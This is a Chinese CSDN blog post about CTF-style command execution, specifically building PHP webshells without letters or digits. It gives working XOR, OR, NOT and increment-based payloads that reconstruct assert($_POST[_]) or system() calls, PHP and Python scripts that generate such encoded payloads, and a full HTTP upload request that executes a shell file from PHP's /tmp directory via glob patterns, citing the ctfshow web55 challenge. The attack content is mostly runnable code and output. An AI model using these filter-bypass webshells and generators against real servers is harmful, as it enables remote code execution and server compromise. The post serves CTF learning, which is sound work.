命令执行-无字母数字webshell

最新推荐文章于 2023-11-24 09:39:37 发布
最新推荐文章于 2023-11-24 09:39:37 发布
阅读量1.8k 收藏 5
点赞数
分类专栏： CTF 文章标签： php linux 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61839115/article/details/128446902
版权

命令执行-无字母数字webshell

我们看如下代码：

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

在命令执行中，我们经常会碰到过滤了字母和数字的情况，那如何才能绕过呢？

我的想法：通过非字母数字来进行一些相关的操作得到我们想要的代码，如：system('ls');

我们可以通过一些特殊的字符来得到：^(异或) ~(取反) +(自增) |(或)

1、异或

我们先看如下代码：

<?php
    echo "5"^"Z";

输出: o

我们先来分析一下：字符 “5” 的ascii码是53，其二进制是110101，字母Z的ascii码是90，二进制是1011010

对照一下：

0110101
1011010
异或：相同为0，不同为1
1101111

异或可得：1101111，转为10进制为 111 ，ascii码为：o

我们举个例子：

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

我们可以使用如下异或脚本：

// rce_xor.php
<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);


# -*- coding: utf-8 -*-
# rce_xor.py

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

使用方法：

首先我们先在php脚本中修改正则过滤的表达式，$preg 运行一下php脚本，会生成一个txt文件

（其中包含了由哪些字符异或可以产生我们想要的结果）然后我们再运行python脚本，输入函数，以及命令即可。

例如：

D:\xxx\scripts>python rce_xor.py

[+] your function：system
[+] your command：ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

就生成了一个我们想要的字符串（因为存在一些不可打印字符，所以经过了url编码）

2、或

原理类似，脚本改动一下就行：

rec_or.php:

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

python:

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

运行结果：

D:\xxx\scripts>python rce_or.py
[+] your function：system
[+] your command：cat f*
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%00"|"%60%60%60%20%60%2a");
3、取反

我们知道，对一个字符进行两次取反，会得到原来的值，我们可以利用这个特性进行突破

脚本：

<?php
//在命令行中运行
// 取反
// 无数字字母getshell

while(true) {
    fwrite(STDOUT,PHP_EOL.'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';   //两次取反可得到原结果
}

原理：我们通过将输入的字符进行取反，一般转化为不可见的字符，不会触发正则表达式，所以可以绕过，然后将其使用url编码后，再拼接上取反符号 ~ 这样执行，就相当于原来输入的shell了

例如：

<?php
    $s1 = "phpinfo";
    $s1 = urlencode(~$s1);
    echo $s1.PHP_EOL;
    $s2 = ~urldecode($s1);
    echo $s2.PHP_EOL;
    $shell = $s1;
    echo "shell: "."(~".$shell.")();";

输出：

%8F%97%8F%96%91%99%90
phpinfo
shell: (~%8F%97%8F%96%91%99%90)();

此处，phpinfo 经过两次取反后还是为 phpinfo

我们将 第一次取反后的编码与 (~ )(); 进行拼接

得到shell:

(~%8F%97%8F%96%91%99%90)();  // phpinfo();
4、自增
"A"++ ==> "B"
"B"++ ==> "C"

如上，我们如果拿到了 字母A，那我们就可以通过++ 自增，获取所有大写字母

那么问题就是，我们如何才能够获得大写字母A呢？

在php中，如果强制连接字符串和数组的话，数组将被转化为字符串，其值为 “Array”

<?php
	$a = ''.[];
	var_dump($a);    // 输出: String(5) "Array"

根据以上知识点，我们只需取第一个字母，就可以获得大写字母 A 了 （也可以获得小写字母a）

<?php
    $s = "Array";
    echo $s[$_];  //输出：A  我们没有定义 $_ 但是php默认赋值NULL==0
	$_++;
    echo $s[$_];  //输出：r

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

故有payload:

php5

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A"，$__没有定义，默认为False也即0，此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E"，此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R"，此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T"，此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P"，此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O"，此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S"，此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T"，此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])
5、上传临时文件
知识点：

1、Linux下可用点 . 来执行shell脚本，等同于 source

2、Linux文件名可以使用glob通配符匹配

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

3、PHP中POST上传文件会把我们上传的文件暂时存在/tmp文件夹中，默认文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。

假如我们要执行上传的shell文件，尝试如下：

. /???/?????????

但是我们会发现这样(通常情况下)并不能争取的执行文件，而是会报错，原因就是这样匹配到的文件太多了，系统不知道要执行哪个文件。

但是我们可以使用如下payload：

. /???/????????[@-[]

最后的[@-[]表示ASCII在 @ 和 [ 之间的字符，也就是大写字母，所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。由于PHP生成的tmp文件最后一位是随机的大小写字母，所以我们可能需要多试几次才能正确的执行我们的代码。(50%的几率嘛)

img

因此，我们可以：

POST /?cmd=.+/???/????????[@-[] HTTP/1.1
Host: xxx.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Connection: close
Cookie: UM_distinctid=17424c95164f2-06a0a787df53968-4c302273-144000-17424c9516533d
Upgrade-Insecure-Requests: 1
Content-Length: 291
​
-----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"
Content-Type: text/plain
​
#! /bin/sh
system('cat /f*');
-----------------------------5642920497686823912130808832--

自己构造网页，上传带有shell命令的文件到服务器，并抓包，修改参数为 .%20/???/????????[@-]]

这样就可以执行了（注意是在同一个数据包，否则tmp临时文件被删除）

ctfshow-web55可用上述解法

参考文章

yu师傅-rce脚本

无字母数字webshell总结-先知社区

p神-一些不包含数字和字母的webshell

p神-无字母数字webshell之提高篇

Leekos
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
测试成功的log备份webshell代码
02-12
测试成功的log备份webshell代码。 郑重声明：此代码收集于网络，仅用于个人计算机技术学习，用于非法用途者后果自负，本人不承担任何责任和连带责任!
php5构造无字母数字的webshell实现任意命令执行
最新发布
qq_68163788的博客
12-02 1210
Webshell是一种恶意软件，通常指的是通过网络渠道上传到受攻击的服务器上的一段可执行代码。它可以被用来获取对服务器的远程控制权限，执行各种操作包括文件管理、数据库访问、系统命令执行等。
php执行先后顺序_CTFweb类型（二十一）无数字字母的命令执行及相关例题
weixin_39741459的博客
01-02 182
点击上方蓝色字体，关注我们无数字字母get shell时候，假如你可以去传入一些参数，并且能够执行，但是你不能传数字和字母，要想得到get shell一定会用到一些函数，在之前的内容中都很多提到，不管是命令执行还是代码执行，它有非常多的一些函数在里头。如果现在不能传入字母，也就意味着无法传入这些函数，无法执行函数的时候就没有办法去get shell。所以说无字母数字get shell的，...
无数字字母的命令执行及相关例题
DKPT的博客
11-24 58
无字母数字。
无字母数字的命令执行(ctfshow web入门 55）
热门推荐
Firebasky的博客
09-10 1万+
这几天都没有怎么学习，基本上都是复习学科知识，因为我们要期末考试。刚刚好今天有时间来做了一道命令执行的题，再一次拜读了 p神的文章。受益匪浅。 直接进入正题 源代码 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1x.
webshell 源码
05-16
webshell 源码
无字母数字的命令执行(ctfshow web入门 56）
Firebasky的博客
09-12 2810
前面的一篇文章和这道题一样的做法 无字母数字的命令执行(ctfshow web入门 55） 需要注意的是：每次上传的文件不一定有大写的文件名，需要多上传几次
无字母命令执行
WHQ556677的博客
12-30 1103
先看一道题 <?php error_reporting(0); show_source(__FILE__); if (isset($_GET['a'])) { $c=$_GET['a']; if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) { system($c); }else { echo "hacker!"; } } ?> 代码审计 过滤了字母
php无字母数字代码执行
m0_52432374的博客
04-30 332
【bashfuck】bashshell实现无字母命令执行的构造原理
柒月的博客
03-13 647
整个项目的核心是 Linux终端可以通过$'\xxx'的方式执行命令，xxx是字符ascii码的八进制形式，通过这一点，我们可以通过位运算符号和Linux终端的其他特性，在没有数字的情况下继续构造这样的形式以实现无字母数字仅用几个字符就实现任意命令执行。
JSP的WEBSHELL源代码
11-21
上传或是用其他方式注入到别人系统，用此webshell攻击别人系统，提供各种网络协议的连接
无字母数字webshell进阶收藏版1
08-03
1.原理 2.缩短 3.压榨 1.Unicode补充 2.数字需要
Web安全 _ 无字母数字Webshell 总结.pdf
09-06
Web安全学习
SweetPotato_webshell下执行命令版1
08-03
前言管道引用申明if(CreatePipe(ref out_read, ref out_write, ref saAttr, 0)){Console.Write
JspMaster-Deprecated:一款基于webshell命令执行功能实现的GUI webshell管理工具，支持流量加密
05-13
与其他 Webshell 管理工具不同，由于一开始的想法是寻找其他命令执行的方式，所以 JspMaster 的底层逻辑是通过命令执行，而不是通过代码执行来实现的。这增强了工具的可扩展性，但同时也引入了一些困难，比如文件的...
php-fpm:用WebShell攻击PHP-FPM用WebShell攻击PHP-FPM
03-11
用WebShell攻击PHP-FPM来自大佬的文末一个想法快速实现了一个poc，可以实现任意代码执行后续用单文件PHP实现一个FastCgi Client，然后已知PHP文件就用WebShell本身，没有什么骚操作的话WebShell应该就是免杀的使用...
ctfshow命令执行之无数字字母
HoAd'blog
01-28 3319
命令执行-无数字字母getshell前言一、无字母命令执行二、无字母数字命令执行总结 前言 做ctfshow的时候，碰到命令执行的题，发现这两种类型的题很有趣，学到了很多知识。 前置知识: shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替 一、无字母命令执行 方法1 异或：在PHP中，两个字符串执行异或操作以后，得到的还是一个字符串。所以，我们找到某两个非字母、数字的字符，他们的异或结果是这个字母即可。 方法2 取反：将汉字(%ff%ff%ff)中的某个字符取出来，来进行取反
ctfshow-web入门——命令执行（2）（web41-web57）
m0_62905745的博客
03-16 924
本篇文章是ctfshow的web入门部分的命令执行部分wp（web41-web 57），包括一些题目解答，自己的笔记和总结，有错误还希望大家指正，一起学习进步！
命令执行无回显以及无字母数字的命令执行
m0re's blog
09-13 1645
前言：最近比赛的时候看到有关命令执行的题目，然后解题过程中发现了无字母数字的命令执行，所以这篇文章学习一下这个知识。 本文目录CTFshow web入门55CTFshow红包题第二弹 以ctfshow的题目来学习一下。 CTFshow web入门55 <?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modifie
Struts2 S2-016上传webshell的需求分析
05-25
Struts2 S2-016漏洞是一种文件上传漏洞，攻击者可以通过该漏洞上传恶意代码（如WebShell）到目标服务器，并在服务器上执行该代码，造成严重的安全威胁。 为了成功利用该漏洞，攻击者需要满足以下条件： 1. 目标服务器上安装了Struts2框架。 2. 目标服务器上存在可以上传文件的页面。 3. 目标服务器上存在可以执行上传文件的Action。 因此，攻击者需要进行以下需求分析： 1. 了解目标服务器上是否安装了Struts2框架。 2. 扫描目标服务器，查找可以上传文件的页面。 3. 分析可上传文件的页面中文件上传的代码逻辑。 4. 查找可以执行上传文件的Action。 5. 编写恶意代码，将其伪装成图片或其他常见文件格式，以绕过上传文件类型的限制。 6. 利用漏洞上传恶意代码，并在服务器上执行该代码。 需要注意的是，利用该漏洞进行攻击可能会被追究法律责任，请勿尝试非法入侵。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值